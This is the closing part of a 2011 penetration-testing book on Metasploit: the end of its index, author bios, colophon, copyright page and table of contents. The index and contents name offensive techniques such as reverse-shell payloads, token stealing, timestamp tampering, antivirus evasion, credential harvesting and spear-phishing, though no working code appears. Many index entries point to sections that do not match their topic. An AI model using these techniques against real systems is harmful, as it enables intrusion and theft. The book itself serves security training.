sniffer_stop interfaceID command, Meterpreter Commands

SNMP (Simple Network Management Protocol), Simple Network Management Protocol Sweeping, Setting Up a Vulnerable Windows XP Installation

Social-Engineer Toolkit (SET). See SET (Social-Engineer Toolkit), Stripping the Existing Exploit

Social-Engineer.org site, The Social-Engineer Toolkit

sock.put command, Stripping the Existing Exploit

spear-phishing attack vector, Exploitation Using Client-Side Attacks, Configuring the Social-Engineer Toolkit, Java Applet

Spear-Phishing Attack Vectors option, SET main menu, Spear-Phishing Attack Vector

SQL authentication, MSSQL Bruter, Manual Injection

SQL injection, Threat Modeling

attempting to leverage, Threat Modeling

error message, Exploitation

SQL Injector - Query String Parameter Attack option, SQL Injector — Query String Attack

SQL Ping attempt, FastTrack, MSSQL Bruter

SQL Server (SQLEXPRESS) option, SQL Server Configuration Manager window, Building a SQL Server

SQL Server 2005 Services option, SQL Server Configuration Manager window, Building a SQL Server

SQL Server Authentication option, SQL Server Management Studio Express, Creating a Vulnerable Web Application

SQL Server Browser service, Building a SQL Server, Building a SQL Server

SQL Server Configuration Manager window, Building a SQL Server

SQL Server Management Studio Express option, Windows XP, Creating a Vulnerable Web Application

SQLPwnage, Microsoft SQL injection, MSSQL Bruter

SRVHOST option, Exploring the Internet Explorer Aurora Exploit

SRVPORT option, Exploring the Internet Explorer Aurora Exploit

SSH (Secure Shell), Hunting for Poorly Configured Microsoft SQL Servers, Scanning the Metasploitable System

ssh_version module, Hunting for Poorly Configured Microsoft SQL Servers

SSL (Secure Sockets Layer), Simple Network Management Protocol Sweeping

stand-alone exploits, Porting Exploits to the Metasploit Framework

Start Mode option, SQL Server Browser service, Building a SQL Server

Start MSF option, armitage, Sample Usage

Start option, SQL Server Configuration Manager window, Building a SQL Server

Status Report email template, Spear-Phishing Attack Vector

Stealth TCP connect, Exploiting Your First Machine

stealth TCP scan, Intelligence Gathering

steal_token command, Using ps

steal_token PID command, Meterpreter Commands

stored procedure, in SQL Server 2005 and 2008, Building Your Own Module

Structured Exception Handler (SEH). See SEH (Structured Exception Handler), Working with Databases in Metasploit

Subnet1.xml file, Working with Databases in Metasploit

sudo feature, Creating Your Own Meterpreter Script

surgemail service, The Art of Fuzzing

SurgeMail vulnerability, Hopping Around SEH Restrictions

surgemail.exe file, The Art of Fuzzing, Hopping Around SEH Restrictions

SVN certificate, Updating Back|Track

svn update command, Updating Back|Track

SYN Port Scanner, Port Scanning with Metasploit

sysadmin role, Getting Command Execution on Microsoft SQL

sysinfo command, Capturing a Screenshot, MSFconsole Commands

SYSTEM-level permissions, The xp_cmdshell

T
t switch, in db_autopwn command, Scanning for Open X11 Servers

tab key, Using Persistence, Meterpreter Scripting

tabnabbing attack, Tabnabbing

target machines, Configuring Your Target Machines

Linux, Installing and Setting Up the System

setting up, Configuring Your Target Machines

Windows XP, Setting Up a Vulnerable Windows XP Installation

configuring web server on, Setting Up a Vulnerable Windows XP Installation

creating vulnerable web application, Building a SQL Server

MS SQL server on, Setting Up a Vulnerable Windows XP Installation

updating Back|Track, Creating a Vulnerable Web Application

target return address, Implementing Features of the Framework

targeted scanning, Port Scanning with Metasploit

for Microsoft SQL Servers, Server Message Block Scanning

FTP scanning, FTP Scanning

SMB scanning, Port Scanning with Metasploit

SNMP sweeping, Simple Network Management Protocol Sweeping

SSH server scanning, Hunting for Poorly Configured Microsoft SQL Servers

Task Manager, Windows, Exploring the Internet Explorer Aurora Exploit

TCP (Transmission Control Protocol), Building a SQL Server

Dynamic Ports option, TCP/IP Properties dialog, Building a SQL Server

idle scan, Advanced Nmap Scanning: TCP Idle Scan

port 1433, Hunting for Poorly Configured Microsoft SQL Servers, Attacking MS SQL, MSSQL Bruter, Building a SQL Server

port 443, Exploiting an Ubuntu Machine, Looking at NOPs, Using Immunity Debugger to Decipher NOP Shellcode

port 4444, msf> show payloads

port 80, The Basic Vulnerability Scan

random dynamic port, Server Message Block Scanning

scanning with, Port Scanning with Nmap

TCP/IP option, Building a SQL Server

TCP/IP Properties dialog, Building a SQL Server

technical findings, Reporting

Teensy USB HID attack vector, Putting It All Together with a Multipronged Attack

Temp directory, Running the Shell Exploit

template.pdf file, Spear-Phishing Attack Vector

Tenable Security, Scanning with Nessus

terminology, in Metasploit, Metasploit Basics

text.rb file, Adding Randomization

TFTP (Trivial File Transfer Protocol), SEH Overwrite Exploit

THREADS number option, Server Message Block Scanning

THREADS option, Metasploit Auxiliary Modules

THREADS value, Importing Nmap Results into Metasploit, Running Nmap from MSFconsole, Metasploit Auxiliary Modules

threat modeling, The Phases of the PTES

phase of PTES, The Phases of the PTES

simulated penetration test, Threat Modeling

three-byte overwrite, of SEH, Getting a Return Address

time-based iframe replacement, Web Jacking

timestomp command, Attacking Obscure Services, Meterpreter Commands

token impersonation, with Meterpreter, Privilege Escalation

toor password, in PostgreSQL database, Working with Databases in Metasploit

Total size value, Hopping Around SEH Restrictions

Transmission Control Protocol (TCP). See TCP (Transmission Control Protocol), SEH Overwrite Exploit

Trivial File Transfer Protocol (TFTP), SEH Overwrite Exploit

Trojan backdoor, Metasploit Auxiliary Modules

Turn off Automatic Updates option, Windows XP, Setting Up a Vulnerable Windows XP Installation

Twitter, auxiliary module, Anatomy of an Auxiliary Module

types of penetration testing, Post Exploitation

U

UAC (User Account Control), Meterpreter Mixins, Creating Your Own Meterpreter Script

Ubuntu, Exploiting Your First Machine, Identifying Vulnerable Services, Installing and Setting Up the System

UDP (User Datagram Protocol), SEH Overwrite Exploit

port 1434, Hunting for Poorly Configured Microsoft SQL Servers, Attacking MS SQL, MSSQL Bruter

port 69, SEH Overwrite Exploit

uictl enable keyboard/mouse command, Meterpreter Commands

unset command, info

unsetg command, setg and unsetg

upgrading command shell, to Meterpreter, Using Persistence

upload file command, Meterpreter Commands

UPX packer, Launching a Payload Stealthily

URIPATH option, Exploring the Internet Explorer Aurora Exploit

usage function, Meterpreter Scripting Basics

use command, Scanning with Nessus from Within Metasploit, msf> show options, Metasploit Auxiliary Modules, Metasploit Auxiliary Modules, Anatomy of an Auxiliary Module, Creating Your Own Meterpreter Script

use incognito command, Using ps, Meterpreter Commands

use multi/handler command, Using Persistence

use name command, MSFconsole Commands

use priv command, Extracting the Password Hashes, Privilege Escalation, Exploring the Internet Explorer Aurora Exploit, Meterpreter Commands

use scanner/http/webdav_scanner command, Metasploit Auxiliary Modules

use scanner/mssql/mssql_ping command, Attacking MS SQL

use scanner/portscan/syn command, Running Nmap from MSFconsole

use scanner/snmp/snmp_login module, Simple Network Management Protocol Sweeping

use sniffer command, Meterpreter Commands

Use them all - A.K.A. ‘Tactical Nuke’ option, SET main menu, Putting It All Together with a Multipronged Attack

use windows/smb/ms08_067_netapi command, msf> show options

UsePowerShell method, PowerShell, Running the Shell Exploit

User Account Control (UAC), Meterpreter Mixins, Creating Your Own Meterpreter Script

User Datagram Protocol (UDP). See UDP (User Datagram Protocol), Creating a Vulnerable Web Application

User Mapping option, User Properties window, Creating a Vulnerable Web Application

User Properties window, Creating a Vulnerable Web Application

user32.dll, Manipulating Windows APIs with the Railgun Add-On

username harvesting, Username and Password Harvesting

utilities, for Metasploit, Metasploit Utilities

msfencode, MSFpayload

msfpayload, MSFpayload

nasm shell, MSFpayload

V
variables, using uppercase characters, info

VBScript, Using Persistence

VenueID, Anatomy of an Auxiliary Module

version command, All-Ports Payloads: Brute Forcing Ports

virtual network computing (VNC) authentication, Validating SMB Logins

VMware Player, Installing and Setting Up the System

VNC (remote GUI), getting, Meterpreter Post Exploitation Commands

VNC (virtual network computing) authentication, Validating SMB Logins

VNC window, Using Meterpreter Scripts

vncviewer, connecting to VNC with no authentication, Scanning for Open VNC Authentication

vnc_none_auth command, Scanning for Open VNC Authentication

vulnerability scanning, Vulnerability Scanning

defined, Overt Penetration Testing

for open VNC authentication, Validating SMB Logins

for open X11 servers, Scanning for Open VNC Authentication

for valid SMB logins, Scanning with Nessus from Within Metasploit

overview, Vulnerability Scanning

phase of PTES, Threat Modeling

using results in Autopwn tool, Scanning for Open X11 Servers

with Nessus, Running NeXpose Within MSFconsole

configuring, Running NeXpose Within MSFconsole

creating scan policy, Nessus Configuration

importing report from, Nessus Reports

reports in, Creating a Nessus Scan Policy

running scan, Creating a Nessus Scan Policy

scanning from within Metasploit, Importing Results into the Metasploit Framework

with NeXpose, Scanning with NeXpose

configuring, Scanning with NeXpose

importing report from, The New Report Wizard

running within msfconsole, Importing Your Report into the Metasploit Framework

vulnerable services, identifying, Scanning the Metasploitable System

W
web attack vectors, Web Attack Vectors

client-side web exploits, Client-Side Web Exploits

Java applet attack, Java Applet

man-left-in-the-middle attack, Man-Left-in-the-Middle

multi-attack vector, Putting It All Together with a Multipronged Attack

tabnabbing attack, Tabnabbing

username and password harvesting, Username and Password Harvesting

web jacking attack, Web Jacking, Putting It All Together with a Multipronged Attack

web jacking attack, Web Jacking, Putting It All Together with a Multipronged Attack

Web Jacking Attack Method option, SET main menu, Web Jacking, Putting It All Together with a Multipronged Attack

web server, configuring on Windows XP, Setting Up a Vulnerable Windows XP Installation

WEBATTACK_EMAIL flag, The Social-Engineer Toolkit

OFF option, The Social-Engineer Toolkit

ON option, The Social-Engineer Toolkit, Spear-Phishing Attack Vector

WebDAV, Auxiliary Modules in Use

webdav_scanner module, Metasploit Auxiliary Modules

Website Attack Vectors option, SET main menu, Java Applet, Client-Side Web Exploits, Username and Password Harvesting

website clone, Username and Password Harvesting, Web Jacking

Weidenhamer, Andrew, FastTrack

Werth, Thomas, Spear-Phishing Attack Vector

white hat test, Post Exploitation

White, Scott, FastTrack

whois lookups, Intelligence Gathering

WIDEOPENWEST service provider, whois Lookups

Win2k8, Meterpreter Post Exploitation Commands

Windows APIs, manipulating with Railgun add-on, Upgrading Your Command Shell to Meterpreter

Windows authentication, MSSQL Bruter, Manual Injection

Windows Components Wizard, Setting Up a Vulnerable Windows XP Installation

Windows debug 64KB restriction, SQLPwnage

Windows Firewall, Windows XP, Setting Up a Vulnerable Windows XP Installation

Windows login credentials, Creating a Nessus Scan Policy

Windows Management Interface (WMI), Configuring Your Web Server on Windows XP

Windows UAC, Creating Your Own Meterpreter Script, Creating Your Own Meterpreter Script, Meterpreter Post Exploitation Commands

Windows virtual machine, scanning, Working with Databases in Metasploit

Windows XP, Compromising a Windows XP Virtual Machine

as target machine, Setting Up a Vulnerable Windows XP Installation

configuring web server on, Setting Up a Vulnerable Windows XP Installation

creating vulnerable web application, Building a SQL Server

MS SQL server on, Setting Up a Vulnerable Windows XP Installation

updating Back|Track, Creating a Vulnerable Web Application

attacking MS SQL, Compromising a Windows XP Virtual Machine

brute forcing MS SQL server, Attacking MS SQL

exploitation for, setg and unsetg

nmap scan against, Port Scanning with Nmap

scanning for ports with nmap, Compromising a Windows XP Virtual Machine

scanning only one system, Server Message Block Scanning

xp_cmdshell, The xp_cmdshell

Windows, Task Manager, Exploring the Internet Explorer Aurora Exploit

windows/meterpreter/reverse_tcp payload, Creating Your Own Meterpreter Script

windows/shell_reverse_tcp payload, Avoiding Detection

windows/smb/ms08_067_netapi exploit, msf> show options, Exploiting Your First Machine

windows/smb/psexec module, Dumping the Password Hash

wireless attack vector, Additional SET Features

wireless card, Configuration

WMI (Windows Management Interface), Setting Up a Vulnerable Windows XP Installation

WScript file, Teensy USB HID Attack Vector

WSCRIPT HTTP GET MSF Payload option, SET main menu, Teensy USB HID Attack Vector

X

X11 servers, vulnerability scanning for, Scanning for Open VNC Authentication

x86/shikata_ga_nai encoder, MSFpayload, Encoding with MSFencode

x90, Intel x86 architecture, Looking at NOPs

xCCs breakpoints, Getting a Return Address

xp_cmdshell stored procedure, Brute Forcing MS SQL Server, SQL Injector — Query String Attack, MSSQL Bruter, MSSQL Bruter, Building Your Own Module, Getting Command Execution on Microsoft SQL, Exploring an Existing Metasploit Module, Exploitation, Customizing MSFconsole

xspy tool, Scanning for Open X11 Servers

XSS (cross-site scripting) vulnerability, Tabnabbing

xterm window, Customizing MSFconsole

Z

Zate, Scanning with Nessus from Within Metasploit

zero-day vulnerability, Adobe Flash, Exploitation Using Client-Side Attacks, Java Applet

About the Authors

David Kennedy is Chief Information Security Officer at Diebold Incorporated and creator of the Social-Engineer Toolkit (SET), Fast-Track, and other open source tools. He is on the Back|Track and Exploit-Database development team and is a core member of the Social-Engineer podcast and framework. Kennedy has presented at a number of security conferences including Black Hat, DEF CON, ShmooCon, Security B-Sides, and more.

Jim O'Gorman is a professional penetration tester with CSC's StrikeForce, a co-founder of Social-Engineer.org, and an instructor at Offensive-Security. He is involved in digital investigations and malware analysis, and helped build forensic capabilities into Back|Track Linux. When not working on various security issues, Jim spends his time assisting his children in their attempts to fight Zombie hordes.

Devon Kearns is an instructor at Offensive-Security, a Back|Track Linux developer, and administrator of The Exploit Database. He has contributed a number of Metasploit exploit modules and is the maintainer of the Metasploit Unleashed wiki.

Mati Aharoni is the creator of the Back|Track Linux distribution and founder of Offensive-Security, the industry leader in security training.

Colophon

Metasploit is set in New Baskerville, TheSansMono Condensed, Futura, and Dogma.

This book was printed and bound at Malloy Incorporated in Ann Arbor, Michigan. The paper is Glatfelter Spring Forge 60# Antique, which is certified by the Sustainable Forestry Initiative (SFI). The book uses a RepKover binding, which allows it to lie flat when open.

Appendix C. Updates

Visit http://nostarch.com/metasploit.htm for updates, errata, and more.

Metasploit

David Kennedy

Jim O’Gorman

Devon Kearns

Mati Aharoni

Copyright © 2011

All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher.

No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark.

The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it.

No Starch Press

2013-05-03T11:09:56-07:00

Metasploit

Table of Contents

Foreword

Preface

Acknowledgments

Special Thanks

Introduction

Why Do a Penetration Test?

Why Metasploit?

A Brief History of Metasploit

About This Book

What’s in the Book?

A Note on Ethics

1. The Absolute Basics of Penetration Testing

The Phases of the PTES

Pre-engagement Interactions

Intelligence Gathering

Threat Modeling

Vulnerability Analysis

Exploitation

Post Exploitation

Reporting

Types of Penetration Tests

Overt Penetration Testing

Covert Penetration Testing

Vulnerability Scanners

Pulling It All Together

2. Metasploit Basics

Terminology

Exploit

Payload

Shellcode

Module

Listener

Metasploit Interfaces

MSFconsole

Starting MSFconsole

MSFcli

Sample Usage

Armitage

Running Armitage

Metasploit Utilities

MSFpayload

MSFencode

Nasm Shell

Metasploit Express and Metasploit Pro

Wrapping Up

3. Intelligence Gathering

Passive Information Gathering

whois Lookups

Netcraft

NSLookup

Active Information Gathering

Port Scanning with Nmap

Working with Databases in Metasploit

Importing Nmap Results into Metasploit

Advanced Nmap Scanning: TCP Idle Scan

Running Nmap from MSFconsole

Port Scanning with Metasploit

Targeted Scanning

Server Message Block Scanning

Hunting for Poorly Configured Microsoft SQL Servers

SSH Server Scanning

FTP Scanning

Simple Network Management Protocol Sweeping

Writing a Custom Scanner

Looking Ahead

4. Vulnerability Scanning

The Basic Vulnerability Scan

Scanning with NeXpose

Configuration

The New Site Wizard

The New Manual Scan Wizard

The New Report Wizard

Importing Your Report into the Metasploit Framework

Running NeXpose Within MSFconsole

Scanning with Nessus

Nessus Configuration

Creating a Nessus Scan Policy

Running a Nessus Scan

Nessus Reports

Importing Results into the Metasploit Framework

Scanning with Nessus from Within Metasploit

Specialty Vulnerability Scanners

Validating SMB Logins

Scanning for Open VNC Authentication

Scanning for Open X11 Servers

Using Scan Results for Autopwning

5. The Joy of Exploitation

Basic Exploitation

msf> show exploits
msf> show auxiliary
msf> show options
msf> show payloads
msf> show targets
info
set and unset
setg and unsetg
save

Exploiting Your First Machine

Exploiting an Ubuntu Machine

All-Ports Payloads: Brute Forcing Ports

Resource Files

Wrapping Up

6. Meterpreter

Compromising a Windows XP Virtual Machine

Scanning for Ports with Nmap

Attacking MS SQL

Brute Forcing MS SQL Server

The xp_cmdshell

Basic Meterpreter Commands

Capturing a Screenshot
sysinfo

Capturing Keystrokes

Dumping Usernames and Passwords

Extracting the Password Hashes

Dumping the Password Hash

Pass the Hash

Privilege Escalation

Token Impersonation

Using ps

Pivoting onto Other Systems

Using Meterpreter Scripts

Migrating a Process

Killing Antivirus Software

Obtaining System Password Hashes

Viewing All Traffic on a Target Machine

Scraping a System

Using Persistence

Leveraging Post Exploitation Modules

Upgrading Your Command Shell to Meterpreter

Manipulating Windows APIs with the Railgun Add-On

Wrapping Up

7. Avoiding Detection

Creating Stand-Alone Binaries with MSFpayload

Evading Antivirus Detection

Encoding with MSFencode

Multi-encoding

Custom Executable Templates

Launching a Payload Stealthily

Packers

A Final Note on Antivirus Software Evasion

8. Exploitation Using Client-Side Attacks

Browser-Based Exploits

How Browser-Based Exploits Work

Looking at NOPs

Using Immunity Debugger to Decipher NOP Shellcode

Exploring the Internet Explorer Aurora Exploit

File Format Exploits

Sending the Payload

Wrapping Up

9. Metasploit Auxiliary Modules

Auxiliary Modules in Use

Anatomy of an Auxiliary Module

Going Forward

10. The Social-Engineer Toolkit

Configuring the Social-Engineer Toolkit

Spear-Phishing Attack Vector

Web Attack Vectors

Java Applet

Client-Side Web Exploits

Username and Password Harvesting

Tabnabbing

Man-Left-in-the-Middle

Web Jacking

Putting It All Together with a Multipronged Attack

Infectious Media Generator

Teensy USB HID Attack Vector

Additional SET Features

Looking Ahead

11. Fast-Track

Microsoft SQL Injection

SQL Injector — Query String Attack

SQL Injector — POST Parameter Attack

Manual Injection

MSSQL Bruter

SQLPwnage

Binary-to-Hex Generator

Mass Client-Side Attack

A Few Words About Automation

12. Karmetasploit

Configuration

Launching the Attack

Credential Harvesting

Getting a Shell

Wrapping Up

13. Building Your Own Module

Getting Command Execution on Microsoft SQL

Exploring an Existing Metasploit Module

Creating a New Module

PowerShell

Running the Shell Exploit

Creating powershell_upload_exec

Conversion from Hex to Binary

Counters

Running the Exploit

The Power of Code Reuse

14. Creating Your Own Exploits

The Art of Fuzzing

Controlling the Structured Exception Handler

Hopping Around SEH Restrictions

Getting a Return Address

Bad Characters and Remote Code Execution

Wrapping Up

15. Porting Exploits to the Metasploit Framework

Assembly Language Basics

EIP and ESP Registers

The JMP Instruction Set

NOPs and NOP Slides

Porting a Buffer Overflow

Stripping the Existing Exploit

Configuring the Exploit Definition

Testing Our Base Exploit

Implementing Features of the Framework

Adding Randomization

Removing the NOP Slide

Removing the Dummy Shellcode

Our Completed Module

SEH Overwrite Exploit

Wrapping Up

16. Meterpreter Scripting

Meterpreter Scripting Basics

Meterpreter API

Printing Output

Base API Calls

Meterpreter Mixins

Rules for Writing Meterpreter Scripts

Creating Your Own Meterpreter Script

Wrapping Up

17. Simulated Penetration Test

Pre-engagement Interactions

Intelligence Gathering

Threat Modeling

Exploitation

Customizing MSFconsole

Post Exploitation

Scanning the Metasploitable System

Identifying Vulnerable Services

Attacking Apache Tomcat

Attacking Obscure Services

Covering Your Tracks

Wrapping Up

A. Configuring Your Target Machines

Installing and Setting Up the System

Booting Up the Linux Virtual Machines

Setting Up a Vulnerable Windows XP Installation

Configuring Your Web Server on Windows XP

Building a SQL Server

Creating a Vulnerable Web Application

Updating Back|Track

B. Cheat Sheet

MSFconsole Commands

Meterpreter Commands

MSFpayload Commands

MSFencode Commands

MSFcli Commands

MSF, Ninja, Fu

MSFvenom

Meterpreter Post Exploitation Commands

Index

About the Authors

Colophon

C. Updates

Copyright